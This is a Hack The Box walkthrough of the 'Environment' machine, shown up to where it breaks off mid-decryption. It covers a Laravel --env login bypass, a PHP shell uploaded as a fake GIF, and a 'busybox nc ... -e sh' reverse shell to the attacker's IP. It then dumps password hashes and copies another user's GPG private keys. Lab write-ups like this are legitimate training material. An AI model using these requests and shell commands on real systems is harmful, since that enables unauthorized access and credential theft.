# HTB: Environment ## About Environment `Environment` is a medium-difficulty Linux machine. The initial foothold involves exploiting [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), which allows environment manipulation through an `--env` parameter, bypassing the login functionality. From the management dashboard, [CVE-2024-2154](https://nvd.nist.gov/vuln/detail/CVE-2024-2154) is exploited to upload a `PHP` webshell embedded inside a profile image, giving the player a foothold through command execution. On the compromised system, exposed `GPG` keys can be found along with an encrypted backup. The decrypted data contains valid user passwords, enabling `SSH` access. Privilege escalation is achieved by leveraging sudo permissions. The user is allowed to execute a script with elevated privileges. Although the script itself is harmless, the `BASH_ENV` environment variable is preserved while increasing privileges, which allows execution of arbitrary commands as root. **Environment lab link:** https://app.hackthebox.com/machines/659 ## Initial Reconnaissance First thing I like to do is scan target with nmap for open ports and reveal what technology is used on machine: ```bash nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0) | ssh-hostkey: | 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ= | 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2 80/tcp open http syn-ack nginx 1.22.1 |_http-title: Did not follow redirect to http://environment.htb | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx 1.22.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` Nmap scan reveals ssh and http ports open. SSH has 9.2p1 version and HTTP backend is nginx 1.22.1 version. SSH version is vulnerable to CVE-2024-6387 (regreSSHion) but I don't think this is the path for exploitation yet, because to exploit this vulnerability we would need to wait for about 6-8 hours to obtain a remote shell. I think I can do it faster ;) It has domain name of environment.htb that we need to add to our /etc/hosts file to access the web app. ```bash echo "10.129.135.179 environment.htb" | sudo tee -a /etc/hosts ``` ## Website on port 80 After accessing http://environment.htb/ we land on a simple website:  After looking at website and its source code I noticed that mailing list has some working functionality which is unusual for these types of labs. There is also CSRF token in input tag that we can decode via base64: ```html ``` ```bash echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d yJ)E5-GT+*R ``` But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in BurpSuite. To fuzz for subdomains I'll use ffuf with wordlist from seclists: ```bash ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://FUZZ.environment.htb/" ``` Didn't find any subdomains. Let's check for hidden directories: ```bash ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://environment.htb/FUZZ" build [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms] favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 46ms] index.php [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 432ms] login [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 520ms] logout [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 477ms] node_modules/.package-lock.json [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 46ms] mailing [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 5556ms] robots.txt [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 50ms] storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms] up [Status: 200, Size: 2126, Words: 745, Lines: 51, Duration: 1204ms] vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 46ms] upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms] ``` I found some interesting endpoints, like login, upload, storage, mailing. Trying to access `http://environment.htb/upload` or `http://environment.htb/mailing` reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints That error page also reveals some internal backend codebase which means the application is running in **debug mode:**  Using Wappalyzer extension in browser I can confirm that website uses PHP and Laravel. ## Vulnerability Research & Exploitation After checking vulnerabilities for Laravel framework I found this high rated CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-52301 But for now it seems useless, since our application is already in debugging state. Also it seems like Laravel 11.30.0 is vulnerable to reflected XSS when in debug mode, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918) but it is not useful for our case here since we don't have a victim to target. ### Login endpoint If we'll modify any params in POST request body on `http://environment.htb/login` we'll get different errors depending on parameters that we changed:  After removing any value from `remember` parameter in request body, backend reveals some additional application environment, `preprod` designed to be used by developer: ```php if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs $request->session()->regenerate(); $request->session()->put('user_id', 1); return redirect('/management/dashboard'); } ``` ### Backdoor that was left by the devs Oopsie, seems like dev himself left backdoor for us! Thats very nice of them Now we can connect our [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301) to change environment to `preprod` and access endpoint (`/management/dashboard`) of the website we should not be able to. By following this [PoC](https://github.com/Nyamort/CVE-2024-52301) we can add `?--env=preprod` as a parameter in the end of the login POST request to activate preprod environment: ```http POST /login?--env=preprod HTTP/1.1 Host: environment.htb Content-Length: 132 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://environment.htb Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://environment.htb/login Accept-Encoding: gzip, deflate, br Cookie: XSRF-TOKEN=eyJpdiI6InRvSkEzL3hQcE1aMHBLUVVVQ0xWc3c9PSIsInZhbHVlIjoiaHlIY3ErT1V3aGxwcktVOWt5SXg4TFVJczVrNXJrV1prMGh5MW9JbC93L3hpTnJhem1CVnc5dEMybHJXOFhoYUx3TEl5VjlZYncwUHcweEtlMEdMME1uZHBqVEtWdGc0akIra2VpZXQrWGlmRW0xOStXcTVSZUx4WFBaQXhwTVciLCJtYWMiOiJiNzg0N2E1ODc4MWNlNmRlYzcwM2VmMTU2MWE4YzU0NjEzNTkzODgxOWNmNTUzMDQwOWYwNWViNzBlZWI2NDhlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImowRjRqQmhQQUZXVHJuSEhuWDYvaWc9PSIsInZhbHVlIjoiakVvWG1qVFFyUlQyV3NITFhKOUliVDlhdW1jTGlHdHRrYUpYTW5XdG0wT3paa09GejQzM3ZyMHhURm1GU3d3Q1JKYmhaWXY5R1ZKTmdvRWVtQXRiTFNWTytnK2l3M3E2dUhBWE1kc3I3OWsraHVER3poMWFLYWFlSENvS0tKZWIiLCJtYWMiOiI2OTYzM2U1OGViMjBmODBmNzQzMGQ4MTdhNGY1OWQ0NGZmM2JiOGExMzM5MTUwZTgxZDgwYmYwODNlOWNmOGFjIiwidGFnIjoiIn0%3D Connection: keep-alive _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False ``` After sending request in Burp we need to click on `Show response in browser` to be redirected to `environment.htb/management/dashboard`   Basically there is one dev account we are being logged as: hish@environment.htb And the only functionality there is to upload a profile image by sending POST request to `environment.htb/upload` endpoint. ## File Upload Bypass Trying to upload a plain PHP shell won't work, because backend checks for 'magic bytes' inside file contents to check if file is an actual image or not. So we need to find a way to bypass these checks and somehow upload a shell ### Shell upload I will use this site with a variety of remote shells for different languages: https://www.revshells.com/ In this case, since the site runs on PHP, I chose the following: ```
``` Backend probably has bad regex check on filename parameter, because I could upload a file named as `index.gif.php.` with the dot in the end, PHP cmd shell inside and magic bytes in request to bypass MIME type checking. To bypass the magic bytes check, simply add the string `GIF87a` before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and gets converted to the usual `index.gif.php`. ```http POST /upload HTTP/1.1 Host: environment.htb Content-Length: 680 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyqgqevjtjeuKysRj Accept: */* Origin: http://environment.htb Referer: http://environment.htb/management/profile Accept-Encoding: gzip, deflate, br Cookie: XSRF-TOKEN=eyJpdiI6InpRTit5azYwcm1kcnl3SUgxVUlqa2c9PSIsInZhbHVlIjoiTytCOG9rclVwNkdVdDVQQnVoVEVTelRJZVpKK1pHb2k2UzlvWEIrekw3YzhjNTRKNDFBYkU2Q0tRbnZhRkVncjQwN1NxWU4wV0FhL0E3RjM2dWdaTTFsT1EvT1lXcXplR3BmMTRGWDdXb3ZuMmhlS2U4bjFvOTNHMk51S01PLzQiLCJtYWMiOiI0MmM3MjczZjkxYjA5ZTRiNmM4ZWJjNDFiNWY2ODE2MzI4YWI5NzYzNmU0YjJiZDBkOTEyY2JhYmFlNDIxNDUyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJZaWFGWFBKRk80ZGkycXVVRXhpK2c9PSIsInZhbHVlIjoidlp0SEpSdGFkeTJkYnRETzNGc0Q4MkgwTzFhSWpTYXNzWVdmU3lHK3A0WHEwQUpkZ1dkSzNPM2E2RmZoVkZZZnZNZnFqWjcxNmR3emxTSXF3N2E0YWJNVndxazhuY081NUpPeWpFcW1MMU5FSVp5WW9RVGFjcCtJK0wzOUYydmciLCJtYWMiOiIxMWVjZmM1NTM5NWI0ZGMzMDhlMTM2YTkwNjZhNTI4Y2FjMGEyOGVmZDFkNTBiYWQxNTAyZmViNTAwMDliODFiIiwidGFnIjoiIn0%3D Connection: keep-alive ------WebKitFormBoundaryyqgqevjtjeuKysRj Content-Disposition: form-data; name="_token" U55EcHxTJCO0cvMScKzD20VSsKYd9oLV8lNhKtn9 ------WebKitFormBoundaryyqgqevjtjeuKysRj Content-Disposition: form-data; name="upload"; filename="index.gif.php." Content-Type: image/jpeg GIF87a
------WebKitFormBoundaryyqgqevjtjeuKysRj-- ```  From the image above: 1. Modify filename to `index.gif.php.` 2. Send a [PHP cmd payload](https://www.revshells.com/) with magic bytes in the start of the file to bypass GIF MIME type checking 3. Backend parses it as a gif and shows that my PHP cmd shell is at `http://environment.htb/storage/files/index.gif.php.`  Now we have RCE on the target. So to get fully functional reverse shell we need: ## Getting Reverse Shell 1. In our terminal: ```bash rlwrap nc -lvnp 1337 ``` 2. On our uploaded PHP cmd shell send any reverse shell for linux system pointing to our IP: ```bash busybox nc 10.10.14.53 1337 -e sh ```  3. I like to get a persistent interactive shell that won't drop connection after some time, so I'll use this set of commands after getting reverse connection on our machine: ```bash # After getting a reverse connection on netcat python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm-256color export TERM=xterm # Now press Ctrl+Z stty raw -echo ; fg ; reset stty columns 200 rows 200 ``` ## User Privilege Escalation When we get a reverse shell, we're logged as user **www-data** on system, which is used on Linux systems by web servers like Apache/Nginx to host web applications. So to map out our next steps we'll look for available users on server: ```bash www-data@environment:~/app/storage/app/public/files$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash hish:x:1000:1000:hish,,,:/home/hish:/bin/bash ``` After looking at `/etc/passwd` (file that contains all users existing on unix systems) we can guess that we'll need to get access to hish user and then exploit our way to root: `www-data -> hish -> root` ### Recon as www-data To get started we would need to check for any critical files that can contain information about hish password (like logs, databases). After some digging, I found `database.sqlite` in `/var/www/app/database`:   ```bash www-data@environment:~/app/database$ sqlite3 database.sqlite sqlite3 database.sqlite SQLite version 3.40.1 2022-12-28 14:03:47 Enter ".help" for usage hints. sqlite> .tables cache jobs sessions cache_locks mailing_list users failed_jobs migrations job_batches password_reset_tokens sqlite> select * from users; select * from users; 1|Hish|hish@environment.htb||$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi||2025-01-07 01:51:54|2025-01-12 01:01:48|hish.png 2|Jono|jono@environment.htb||$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm||2025-01-07 01:52:35|2025-01-07 01:52:35|jono.png 3|Bethany|bethany@environment.htb||$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.||2025-01-07 01:53:18|2025-01-07 01:53:18|bethany.png sqlite> ``` We see hashed password of our hish user we could try to crack using hashcat: ```bash ~/HackTheBox/environment > echo '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi' > hish_hash.txt ~/HackTheBox/environment > hashid hish_hash.txt --File 'hish_hash.txt'-- Analyzing '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi' [+] Blowfish(OpenBSD) [+] Woltlab Burning Board 4.x [+] bcrypt --End of file 'hish_hash.txt'--% ~/HackTheBox/environment > hashcat hish_hash.txt -m 3200 /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashcat (v7.1.2) starting ``` But that won't work and take a lot of time and actually isn't needed to get hish's password because we have access to hish's home directory to read all files inside ### Decrypting hish's GPG keyvault ```bash www-data@environment:~$ ls -la /home/hish ls -la /home/hish total 36 drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 . drwxr-xr-x 3 root root 4096 Jan 12 2025 .. lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null -rw-r--r-- 1 hish hish 220 Jan 6 2025 .bash_logout -rw-r--r-- 1 hish hish 3526 Jan 12 2025 .bashrc drwxr-xr-x 4 hish hish 4096 Sep 5 17:46 .gnupg drwxr-xr-x 3 hish hish 4096 Jan 6 2025 .local -rw-r--r-- 1 hish hish 807 Jan 6 2025 .profile drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup -rw-r--r-- 1 root hish 33 Sep 5 04:00 user.txt ``` Looking at backup directory we see `keyvault.gpg` file that we can try to decrypt using GPG. But we will fail to do so when simply trying to decrypt it using `gpg -d keyvault.gpg`: ```bash www-data@environment:/home/hish$ ls -la backup/ ls -la backup/ total 12 drwxr-xr-x 2 hish hish 4096 Jan 12 2025 . drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .. -rw-r--r-- 1 hish hish 430 Sep 5 17:48 keyvault.gpg www-data@environment:/home/hish$ cd backup cd backup www-data@environment:/home/hish/backup$ gpg -d keyvault.gpg gpg -d keyvault.gpg gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied ``` because we don't have permission to create files as www-data user in /var/www. So we'll need to copy `keyvault.gpg` and hish's `.gnupg` directory with their private keys to directory we have write permissions to. I'll use `/tmp` for this Also, for gpg to know that it needs to use private keys from our copied directory we need to pass `--homedir /tmp/.gnupg` parameter: ```bash www-data@environment:$ cd /tmp www-data@environment:/tmp$ cp -r /home/hish/.gnupg . && cd .gnupg www-data@environment:/tmp/.gnupg$ ls openpgp-revocs.d pubring.kbx random_seed private-keys-v1.d pubring.kbx~ trustdb.gpg www-data@environment:/tmp/.gnupg$ cp /home/hish/backup/keyvault.gpg . www-data@environment:/tmp/.gnupg$ gpg --homedir /tmp/.gnupg -d keyvault.gpg gpg --homedir /tmp/.gnupg -d keyvault.gpg gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg' gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11 "hish_